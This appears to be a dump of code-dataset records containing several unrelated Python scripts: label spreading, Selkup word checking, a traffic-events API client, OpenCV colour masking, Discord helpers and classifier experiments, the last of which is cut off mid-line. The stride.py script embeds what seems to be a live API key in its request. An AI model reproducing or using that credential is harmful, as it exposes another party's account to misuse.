if optimize:\n optFunc = partial(propagate, data=data)\n\n # Initial values use scikit-learn defaults for the label spreader\n initValues = [0.2, 10]\n\n # Run Truncated Newton optimization to find alpha and gamma\n # that minimize the number of unresolved labels after classification\n res = minimize(optFunc, initValues, bounds=((0, 1), (0, None)), method='TNC', options={'eps': 0.5, 'disp': True})\n\n if res.success:\n alpha, gamma = res.x\n else:\n # TODO: Throw error\n pass\n else:\n # Values precomputed from running the optimization function above\n alpha, gamma = [0.17278286, 3.18163529]\n\n # Create a final version of the label spreader\n data, ls = createLS(alpha, gamma, data)\n _, errorIdx = __score(data[data.Answer == 'no_agreement'])\n\n # Resolve remaining bad labels by majority voting\n cols = ['label_1', 'label_2', 'label_spread']\n data.loc[errorIdx, cols[2]] = data.loc[errorIdx, cols].apply(np.median, axis=1, raw=True)\n\n # Clean up the house\n finalData = data.loc[:, ['host_is_superhost', 'property_type', 'room_type', 'cleaned_tokens', 'label_spread']]\n finalData.rename(columns={'label_spread': 'labels'}, inplace=True)\n\n if saveCsv:\n OUTPUT_PATH = os.path.join(os.getcwd(), 'classifier', 'results.csv')\n finalData.to_csv(OUTPUT_PATH)\n\n return finalData\n\nif __name__ == '__main__':\n main()\n", "sub_path": "labels.py", "file_name": "labels.py", "file_ext": "py", "file_size_in_byte": 6312, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "processing.flatten", "line_number": 27, "usage_type": "call"}, {"api_name": "gensim.matutils.corpus2dense", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.nan_to_num", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 54, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.RobustScaler", "line_number": 79, "usage_type": "call"}, {"api_name": "sklearn.semi_supervised.LabelSpreading", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path", "line_number": 104, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 104, "usage_type": "call"}, {"api_name": "Mongolab.Mongolab", "line_number": 106, "usage_type": "call"}, {"api_name": "TokenProcessor.TokenProcessor", "line_number": 107, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 116, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 121, "usage_type": "call"}, {"api_name": "gensim.corpora.Dictionary", "line_number": 129, "usage_type": "call"}, {"api_name": "gensim.corpora", "line_number": 129, "usage_type": "name"}, {"api_name": "gensim.models.TfidfModel", "line_number": 130, "usage_type": "call"}, {"api_name": "gensim.models", "line_number": 130, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 133, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 142, "usage_type": "call"}, {"api_name": "scipy.optimize.minimize", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 166, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 173, "usage_type": "call"}, {"api_name": "os.path", "line_number": 173, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 173, "usage_type": "call"}]} +{"seq_id": "14520626", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*\nimport codecs\nimport pymorphy2\nimport web_utils\nimport html_utils\nimport dictionary_utils\nimport os\n\n__author__ = \"gisly\"\n\nmorph = pymorphy2.MorphAnalyzer()\nYAT_WORDS = 'dictionaries/resources/yat_words.txt'\nYAT = 'ѣ'\nOUT_OF_VOC_WORDS = None\n\nOUT_OF_VOC_WORDS_FILENAME = 'dictionaries/resources/out_of_voc_words.txt'\n\nOLD_SPELLINGS = None\nOLD_SPELLINGS_FILENAME = 'dictionaries/resources/old_spellings.txt'\nOLD_SPELLING_DELIMITER = ':'\n\nSELKUP_SITE_URL = 'http://selkup.org/dict-search'\nSELKUP_INF_ENDING = 'гу'\n\nPYMORPHY_INF = 'INFN'\n\nSUFFIX_LIST = ['-ка', '-то']\nPREFIX_LIST = ['по-']\n\nRUSSIAN_ALPHABET = 'абвгдеёжзийклмнопрстуфхцчшщъыьэюя'\nSELKUP_ALPHABET = 'абвгдеёжзийклмнопрстуфхцчшщъыьэюяё̄е̄ы̄ӧӧ̄о̄ю̈ю̈̄ю̄я̄ӭӭ̄э̄ӓӓ̄āӱӱ̄ӯи̇и̇̄ӣдзӷӄӈҗҳҷ́'\nENGLISH_ALPHABET = 'abcdefghijklmnopqrstuvwxyz\\'‘'\nSPECIAL_CHARACTERS = '.,!\\?«»: –-\"’'\n\n\nTYPICAL_LENGTH = 20\n\ndef has_correct_characters(sentence, language_code):\n if language_code == 'rus':\n alphabet = RUSSIAN_ALPHABET + SPECIAL_CHARACTERS\n elif language_code == 'slk':\n alphabet = SELKUP_ALPHABET + SPECIAL_CHARACTERS\n elif language_code == 'en':\n alphabet = ENGLISH_ALPHABET + SPECIAL_CHARACTERS\n else:\n raise Exception('Unknown language code : %s' % language_code)\n sentence = sentence.lower()\n for letter in sentence:\n if letter not in alphabet:\n print(letter)\n return False\n return True\n\ndef check_pymorphy(word):\n cache_dictionaries()\n word_list = word.split(' ')\n for word_part in word_list:\n if not check_pymorphy_single(word_part):\n return False\n return True\n\ndef check_selkup_word(word, translation):\n CHECK_FUNCTIONS = [check_pos]\n\n for check_function in CHECK_FUNCTIONS:\n if not check_function(word, translation):\n return False\n return True\n\ndef check_dictionary(word, translation):\n rus_translation_str = ' '.join(translation)\n #selkup_from_dict_list = get_selkup_from_dictionary(rus_translation_str)\n selkup_from_dict_list = dictionary_utils.get_selkup_by_meaning(rus_translation_str)\n for selkup_from_dict in selkup_from_dict_list:\n if is_similar(word, selkup_from_dict):\n return True\n print(word, selkup_from_dict)\n return False\n\ndef check_pos(word, translation):\n for translation_part in translation:\n if is_infinitive(translation_part) and word.endswith('ту'):\n return False\n return True\n\ndef check_length(word, translation):\n return len(word) <= TYPICAL_LENGTH\n\n\n\ndef get_selkup_from_dictionary(translation):\n data = web_utils.get_url_data(SELKUP_SITE_URL, 'utf-8', {'word': translation,\n 'lemma': '1',\n 'lang': 'ru', })\n\n html_data = html_utils.transform_to_html(data)\n search_result = html_utils.get_first_html_tag(html_data, 'ol')\n res = []\n for element in search_result:\n children = element.xpath('child::node()')\n if children and not 'не найдено' in children[0]:\n res.append(children[0].text)\n return res\n\n\ndef is_similar(word1, word2):\n #TODO\n return word1.strip().lower() == word2.strip().lower()\n\ndef check_pymorphy_single(word):\n word = word.replace('́', '')\n if check_pymorphy_dict(word):\n return True\n for suffix in SUFFIX_LIST:\n if word.endswith(suffix) and check_pymorphy_dict(word[0:-len(suffix)]):\n return True\n\n for prefix in PREFIX_LIST:\n if word.startswith(prefix) and check_pymorphy_dict(word[len(prefix):]):\n return True\n return False\n\n\ndef check_pymorphy_dict(word):\n if word.lower() in OUT_OF_VOC_WORDS:\n return True\n return morph.parse(word)[0].is_known\n\ndef is_infinitive(word):\n morph_parse_results = morph.parse(word)\n for morph_parse_result in morph_parse_results:\n tag = morph_parse_result.tag\n if tag.POS == PYMORPHY_INF:\n return True\n return False\n\n\ndef change_old_spellings(word):\n for old_spelling in OLD_SPELLINGS.items():\n word = word.replace(old_spelling[0], old_spelling[1])\n return word\n\ndef cache_dictionaries():\n cache_out_of_voc_words()\n cache_old_spellings()\n\ndef cache_out_of_voc_words():\n global OUT_OF_VOC_WORDS\n if OUT_OF_VOC_WORDS is None:\n OUT_OF_VOC_WORDS = set()\n with codecs.open(OUT_OF_VOC_WORDS_FILENAME, 'r', 'utf-8') as fin:\n for line in fin:\n OUT_OF_VOC_WORDS.add(line.strip().lower())\n\n\ndef cache_old_spellings():\n global OLD_SPELLINGS\n if OLD_SPELLINGS is None:\n OLD_SPELLINGS = dict()\n with codecs.open(OLD_SPELLINGS_FILENAME, 'r', 'utf-8') as fin:\n for line in fin:\n parts = line.strip().lower().split(OLD_SPELLING_DELIMITER)\n OLD_SPELLINGS[parts[0]] = parts[1]\n", "sub_path": "dictionaries/language_utils.py", "file_name": "language_utils.py", "file_ext": "py", "file_size_in_byte": 5074, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pymorphy2.MorphAnalyzer", "line_number": 12, "usage_type": "call"}, {"api_name": "dictionary_utils.get_selkup_by_meaning", "line_number": 74, "usage_type": "call"}, {"api_name": "web_utils.get_url_data", "line_number": 93, "usage_type": "call"}, {"api_name": "html_utils.transform_to_html", "line_number": 97, "usage_type": "call"}, {"api_name": "html_utils.get_first_html_tag", "line_number": 98, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 152, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 161, "usage_type": "call"}]} +{"seq_id": "489249189", "text": "import sys, os, time\nsys.path.insert(0, os.path.join(os.path.dirname(__file__),'libs'))\nimport requests\nimport xml.etree.ElementTree as ET\n\ndef output_text(msg):\n\tfor char in msg:\n\t\tsys.stdout.write ( '%s' % char)\n\t\tsys.stdout.flush()\n\t\ttime.sleep(0.05)\n\t#print ''\n\ndef fetchURL(lat,lon,radius):\n\tpayload = {'near': str(lat) + ',' + str(lon) + ',' + str(radius)}\n\trequesturl='http://api.stride-project.com/events/feeds/d38a9c31-3156-446e-a89e-79aa3d7357c2/datastreams/1/events'\n\tr = requests.get(requesturl, params=payload, auth=('7b399134-f740-4432-9a3e-f6d711473558', ''))\n\treturn r\n\ndef parseData(lon, lat, radius):\n\tdata = fetchURL(lon, lat, radius)\n\tparsedXML = ET.fromstring(data.text)\n\tevents=[]\n\tfor x in range(10):\n\t\ttry:\n\t\t\tid = parsedXML[x].text\n\t\t\tdescrip = parsedXML[x][5][5].text\n\t\t\turgency = parsedXML[x][5][2].text\n\t\t\tseverity = parsedXML[x][5][3].text\n\t\t\tcertainty = parsedXML[x][5][4].text\n\t\t\tlatlong = parsedXML[x][5][9][0].text\n\t\t\troad = parsedXML[x][5][9][5].text\n\t\t\tdirection = parsedXML[x][5][9][4].text\n\t\t\tintersection = parsedXML[x][5][9][1].text\n\t\t\tevents.append({'id': id, 'descrip': descrip, 'urgency' : urgency, 'severity': severity, 'certainty':certainty, 'latlong' : latlong, 'road': road, 'direction': direction, 'intersection' : intersection})\n\t\texcept IndexError:\n\t\t\tpass\n\t\treturn events\n\n#currentEvents = parseData(52.211604, 0.09166, 10000)\n\ndef outputMessage():\n\tfor event in currentEvents:\n\t\tmessage = 'There is a ' + event['severity'] + ' problem on the ' + event['road'] + ' ' + event['direction'] + ' near ' + event['intersection'] + '.\\n' + event['descrip']\n\t\toutput_text(message)\n", "sub_path": "frontend/stride.py", "file_name": "stride.py", "file_ext": "py", "file_size_in_byte": 1627, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "sys.path.insert", "line_number": 2, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 2, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 2, "usage_type": "call"}, {"api_name": "os.path", "line_number": 2, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 2, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 8, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 8, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 9, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 10, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 16, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.fromstring", "line_number": 21, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 21, "usage_type": "name"}]} +{"seq_id": "74217860", "text": "# Creating a perceptron using scikit_learn's Perceptron class and the iris dataset\n\nimport matplotlib.pyplot as plt\nfrom sklearn.linear_model import Perceptron\nfrom iris_common_funcs import plot_decision_regions, initializer\n\n\nX_train_std, y_train, X_combined_std, y_combined = initializer()\nppn = Perceptron(max_iter=40, eta0=0.1, random_state=0).fit(X_train_std, y_train)\nplot_decision_regions(X=X_combined_std, y=y_combined, classifier=ppn, test_idx=range(105, 150))\n\nplt.xlabel(\"Sepal length (standardized)\")\nplt.ylabel(\"Petal length (standardized)\")\nplt.legend(loc='upper left')\nplt.show()", "sub_path": "Iris/iris_perceptron.py", "file_name": "iris_perceptron.py", "file_ext": "py", "file_size_in_byte": 594, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "iris_common_funcs.initializer", "line_number": 8, "usage_type": "call"}, {"api_name": "sklearn.linear_model.Perceptron", "line_number": 9, "usage_type": "call"}, {"api_name": "iris_common_funcs.plot_decision_regions", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}]} +{"seq_id": "216388313", "text": "import cv2\n\nsrc = cv2.imread('inRange.jpg')\n# size 축소\nsrc = cv2.resize(src, (0, 0), fx=0.5, fy=0.5, interpolation=cv2.INTER_NEAREST)\n\nsrc_hsv = cv2.cvtColor(src, cv2.COLOR_BGR2HSV)\n\n# 0 < B < 100 , 128 < G < 255 , 0 < R < 100\ndst1 = cv2.inRange(src, (0, 128, 0), (100, 255, 100))\nimg_result = cv2.bitwise_and(src_hsv, src_hsv, mask = dst1)\n\ndst2 = cv2.inRange(src_hsv, (50, 150, 0), (80, 255, 255))\nimg_result2 = cv2.bitwise_and(src_hsv, src_hsv, mask = dst2)\n\ncv2.imshow('src', src)\ncv2.moveWindow('src',400,100)\n\ncv2.imshow('dst1', dst1)\ncv2.moveWindow('dst1',400,450)\n\ncv2.imshow('img_result', img_result)\ncv2.moveWindow('img_result',800,450)\n\n\ncv2.imshow('dst2', dst2)\ncv2.moveWindow('dst2',400,800)\n\n\ncv2.imshow('img_result2', img_result2)\ncv2.moveWindow('img_result2',1100,450)\n\ncv2.waitKey()\ncv2.destroyAllWindows()\n", "sub_path": "inRange02.py", "file_name": "inRange02.py", "file_ext": "py", "file_size_in_byte": 830, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "cv2.imread", "line_number": 3, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 5, "usage_type": "call"}, {"api_name": "cv2.INTER_NEAREST", "line_number": 5, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 7, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 7, "usage_type": "attribute"}, {"api_name": "cv2.inRange", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 16, "usage_type": "call"}, {"api_name": "cv2.moveWindow", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 19, "usage_type": "call"}, {"api_name": "cv2.moveWindow", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.moveWindow", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.moveWindow", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.moveWindow", "line_number": 31, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 33, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 34, "usage_type": "call"}]} +{"seq_id": "52516952", "text": "# contains:\n#\t - general helpers\n#\t - discord helpers\n\n\n# GENERAL HELPERS #\n\nimport os\nimport json\nimport time\n\ndef file_contents( file, silent=False ):\n\tencodings = [ 'utf-8', 'latin1' ]\n\tfor e in encodings:\n\t\ttry:\n\t\t\tif not os.path.isfile( file ):\n\t\t\t\tif not silent:\n\t\t\t\t\tprint( 'file not found: ' + file )\n\t\t\t\treturn ''\n\t\t\t\t\n\t\t\twith open( file, 'r', encoding=e ) as f:\n\t\t\t\toutput = f.read()\n\t\t\t\tf.close()\n\t\t\t\treturn output\n\t\texcept UnicodeDecodeError:\n\t\t\tprint( 'decode error: ' + file )\n\t\t\treturn ''\n\t\telse:\n\t\t\tprint( 'unknown error: ' + file )\n\t\t\treturn ''\n\ndef is_json( data, fn='unknown file' ):\n\ttry:\n\t\tjson_object = json.loads( data )\n\texcept ValueError:\n\t\tprint( 'invalid json in ' + fn )\n\t\treturn False\n\treturn True\n\t\ndef load_json( file, silent=False ):\n\ttext = file_contents( file, silent )\n\tif text == '' or is_json( text, file ) == False:\n\t\treturn {}\n\treturn json.loads( text )\n\t\ndef file_write( file, data ):\n\tf = open( file, 'w' )\n\tf.write( data )\n\tf.close()\n\t\ndef pretty_date( d ):\n\tif d == 0:\n\t\treturn 'never'\n\ts = time.time() - d\n\tday = 86400\n\tif s > day * 1:\n\t\treturn '%d days ago' % round( s / day )\n\telif s <= 70:\n\t\treturn 'just now'\n\telif s < 120:\n\t\treturn '1 minute ago'\n\telif s < 3600:\n\t\treturn '%s minutes ago' % round( s / 60 )\n\telif s < 7200:\n\t\treturn '1 hour ago'\n\telse:\n\t\treturn '%s hours ago' % round( s / 3600 )\n\t\t\ndef module_exists( module_name ):\n try:\n __import__( module_name )\n except ImportError:\n return False\n else:\n return True\n\t\n\n# DISCORD HELPERS #\n\t\nimport discord\nfrom discord.ext import commands\nimport settings\n\t\t\t\ndef is_owner( ctx ):\n\tif ctx.message.author.id == settings.config['owner_id']:\n\t\treturn True\n\treturn False\n\t\t\t\ndef needs_owner():\n\treturn commands.check( is_owner )\n\t\ndef is_admin( ctx ):\n\tif is_owner( ctx ):\n\t\treturn True\n\tif ctx.message.channel.is_private:\n\t\treturn False\n\trole = discord.utils.find( lambda r: r.name == settings.config['admin_role'], ctx.message.author.roles )\n\treturn role is not None\n\t\t\t\ndef needs_admin():\n\treturn commands.check( is_admin )\n", "sub_path": "helper.py", "file_name": "helper.py", "file_ext": "py", "file_size_in_byte": 2058, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "os.path.isfile", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 34, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 44, "usage_type": "call"}, {"api_name": "time.time", "line_number": 54, "usage_type": "call"}, {"api_name": "settings.config", "line_number": 85, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.check", "line_number": 90, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 90, "usage_type": "name"}, {"api_name": "discord.utils.find", "line_number": 97, "usage_type": "call"}, {"api_name": "discord.utils", "line_number": 97, "usage_type": "attribute"}, {"api_name": "settings.config", "line_number": 97, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.check", "line_number": 101, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 101, "usage_type": "name"}]} +{"seq_id": "559774040", "text": "from numpy import *\nimport numpy as np\nimport json\nimport sys\nimport DecisionTree as dt\n\n\ndef getArgs():\n if len(sys.argv) == 4:\n clsfr = str(sys.argv[1])\n train = str(sys.argv[2])\n test = str(sys.argv[3])\n else:\n sys.exit('Illegal Arg Exception')\n return train, test, clsfr\n\n\ndef loadData(fileName):\n feature = []\n with open(fileName, 'r') as write_file:\n data = json.load(write_file)\n metadata = np.array(data['metadata']['features'])\n for b in data['metadata']['features']:\n feature.append(b[1])\n return np.array(data['data']), metadata, np.array(feature)\n\n\ndef learner(train_data, T, depth):\n mytree = dt.DecisionTree()\n total_predict_y = []\n m = len(train_data)\n n_test = len(test_data)\n training_sample_indices = np.zeros((T, m)).astype(int)\n\n test_output = np.zeros((T, n_test, len(classes)))\n\n for i in range(T):\n training_sample_indices[i] = np.random.choice(m, m, replace=True)\n training_samples = train_data[training_sample_indices[i], :]\n\n trainX = training_samples[:, :-1]\n trainy = training_samples[:, -1]\n mytree.fit(trainX, trainy, training_metadata, max_depth=depth)\n predicted_y = mytree.predict(test_X, prob=True)\n test_output[i] = predicted_y\n\n avg_prob = np.average(test_output, axis=0)\n actual = test_y\n predictions = np.zeros(n_test).astype(object)\n\n for i in range(len(test_data)):\n for j in range(T):\n tree_pred_idx = np.argmax(test_output[j, i, :])\n tree_pred = classes[tree_pred_idx]\n\n pred_idx = np.argmax(avg_prob[i, :])\n predictions[i] = classes[pred_idx]\n\n acc = (predictions == test_y).sum() / n_test\n return acc\n\n\ndef adaboost_classifier(train_x, train_y, test_x, test_y, T, depth):\n n_train = len(train_x)\n n_test = len(test_x)\n k = len(classes)\n mytree = dt.DecisionTree()\n\n wts = np.zeros((n_train, T + 1))\n wts[:, 0] = 1 / n_train\n pred_test = np.zeros((n_test, T + 2)).astype(object)\n alpha = np.zeros(T)\n for i in range(T):\n mytree.fit(train_x, train_y, training_metadata, depth, wts[:, i])\n predictions_y = mytree.predict(train_x)\n err = 0\n # compute weights\n for j in range(n_train):\n if predictions_y[j] != train_y[j]:\n err += wts[j, i]\n # break the loop based on error criteria\n if err >= (1 - (1/k)):\n break\n\n alpha[i] = np.log((1 - err)/err) + np.log(k-1)\n\n for j in range(n_train):\n if predictions_y[j] != train_y[j]:\n wts[j, i+1] = wts[j, i] * np.exp(alpha[i])\n else:\n wts[j, i+1] = wts[j, i]\n # normalize\n wts[:, i+1] = [x / sum(wts[:, i+1]) for x in wts[:, i+1]]\n pred_test[:, i] = mytree.predict(test_x)\n\n pred_test[:, -1] = test_y\n\n\n alphas = np.zeros(k)\n correct = 0\n for i in range(n_test):\n for cls_idx, cls in enumerate(classes):\n idxs = np.argwhere(pred_test[i, :-2] == cls)\n alphas[cls_idx] = len(idxs) * alpha[idxs].sum()\n pred_test[i, -2] = classes[np.argmax(alphas)]\n if pred_test[i, -2] == pred_test[i, -1]:\n correct += 1\n\n actual = pred_test[:, -1]\n predictions = pred_test[:, -2]\n\n # accuracy\n acc = correct/n_test\n\n return acc\n\n\nnp.random.seed(0)\ntraining_set, test_set, clsfr = getArgs()\ntraining_data, training_metadata, feature_range = loadData(training_set)\nclasses = feature_range[-1]\nfeatures = training_metadata[0:-1, 0]\nfeature_types = training_metadata[0:-1, 1]\ntrain_labels = np.array(training_data[:, -1])\ntrain_X = training_data[:, :-1]\ntrain_y = training_data[:, -1]\n\ntest_data, test_metadata, feature_range_test = loadData(test_set)\ntest_data = np.array(test_data)\ntest_X = test_data[:, :-1]\ntest_y = test_data[:, -1].astype(object)\n\nk = len(classes)\nconfusion_matrix = np.zeros((k,k)).astype(int)\nactual = []\npredicted = []\nif clsfr == \"bag\":\n for i in range(1, 11):\n accuracy = learner(training_data, i, 12)\n print(accuracy)\nelse:\n for i in range(1, 11):\n accuracy = adaboost_classifier(train_X, train_y, test_X, test_y, i, 12)\n print(accuracy)\n\n\n\n", "sub_path": "graph.py", "file_name": "graph.py", "file_ext": "py", "file_size_in_byte": 4256, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "sys.argv", "line_number": 9, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 10, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 11, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 12, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 14, "usage_type": "call"}, {"api_name": "json.load", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 25, "usage_type": "call"}, {"api_name": "DecisionTree.DecisionTree", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 38, "usage_type": "attribute"}, {"api_name": "numpy.average", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 56, "usage_type": "call"}, {"api_name": "DecisionTree.DecisionTree", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.argwhere", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 118, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 134, "usage_type": "call"}]} +{"seq_id": "606531671", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Jan 6 02:43:04 2019\r\n\r\n@author: Guangyu\r\n\"\"\"\r\n\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Jan 5 00:06:32 2019\r\n\r\n@author: Guangyu\r\n\"\"\"\r\n\r\n\r\n\r\nimport keras\r\nfrom keras.models import Sequential\r\nfrom keras.models import Model\r\nfrom keras.layers import Dense, Dropout, Flatten, BatchNormalization, ReLU, Input\r\nfrom keras.layers import Conv2D, MaxPooling2D, UpSampling2D\r\nfrom keras import backend as K\r\nfrom keras.callbacks import ModelCheckpoint\r\nimport h5py\r\nimport numpy as np\r\nimport struct\r\nimport scipy\r\nfrom scipy import stats\r\nimport scipy.io as sio\r\n\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.svm import LinearSVC\r\nfrom sklearn.linear_model import SGDClassifier\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nfrom sklearn.metrics import accuracy_score\r\nimport timeit\r\nimport numpy as np\r\nimport scipy.io as sio \r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.neural_network import MLPClassifier\r\nfrom sklearn.svm import SVC \r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn import tree\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom IPython.display import Image\r\nimport pydotplus \r\nfrom numpy import ones\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn import decomposition\r\nfrom sklearn.naive_bayes import GaussianNB\r\n\r\n\r\ndata1 = sio.loadmat('XTrain_same_with_NN_4_160.mat')\r\ndata1 = data1.get('Feature_Input_raw_train')\r\n\r\n\r\ndata2 = sio.loadmat('XTest_same_with_NN_4_160.mat')\r\ndata2 = data2.get('Feature_Input_raw_test')\r\n#data2 = data2.transpose()\r\n\r\nytrain = sio.loadmat('YTrain_same_with_NN_4_160.mat')\r\ndata_train_label = ytrain.get('YTrain')\r\n\r\nytest = sio.loadmat('YTest_same_with_NN_4_160.mat')\r\ndata_test_label = ytest.get('YTest')\r\n\r\nytrain1 = sio.loadmat('target_train_3_class_19_01_2020.mat')\r\ndata_train_label_1 = ytrain1.get('target_train')\r\n\r\nytest1 = sio.loadmat('target_test_3_class_19_01_2020.mat')\r\ndata_test_label_1 = ytest1.get('target_test')\r\n\r\nytest_target = sio.loadmat('data_target_160.mat')\r\nytest_target= ytest_target.get('data_target')\r\nytest_target1 = []\r\nfor i in ytest_target:\r\n temp = i\r\n ytest_target1.append(temp)\r\n \r\n#####################################old nn\r\nmodel = Sequential()\r\nmodel.add(Dense(units=200,activation='relu', input_dim=4))\r\nmodel.add(Dense(units=200,activation='relu'))\r\nmodel.add(Dense(units=200,activation='relu'))\r\nmodel.add(Dense(units=10,activation='softmax'))\r\nmodel.compile(optimizer='sgd', loss='mean_squared_error',\r\n metrics = ['accuracy'])\r\nmodel.fit(data1, ytrain1,\r\n batch_size=128,\r\n epochs=100, \r\n verbose=1,\r\n shuffle=True)\r\n\r\nfrom neupy import algorithms\r\nlmnet = algorithms.LevenbergMarquardt((4, 10, 10),show_epoch=1)\r\nlmnet.train(data1, ytrain1)\r\n\r\n\r\n\r\n##################################rf top classifier\r\ndata_train_label = np.ravel(data_train_label_1)\r\nclf_rf = RandomForestClassifier()\r\nclf_rf.fit(data1, data_train_label_1)\r\ny_pred_rf = clf_rf.predict(data2)\r\nacc_rf = accuracy_score(data_test_label_1, y_pred_rf)\r\nprint(acc_rf)\r\nacc_rf_train = clf_rf.score(data1, data_train_label_1)\r\nprint(acc_rf_train)\r\n#0.9625\r\n#0.996875\r\n#################################rf \r\ndata_train_label = np.ravel(data_train_label)\r\nclf_rf = RandomForestClassifier()\r\nclf_rf.fit(data1, 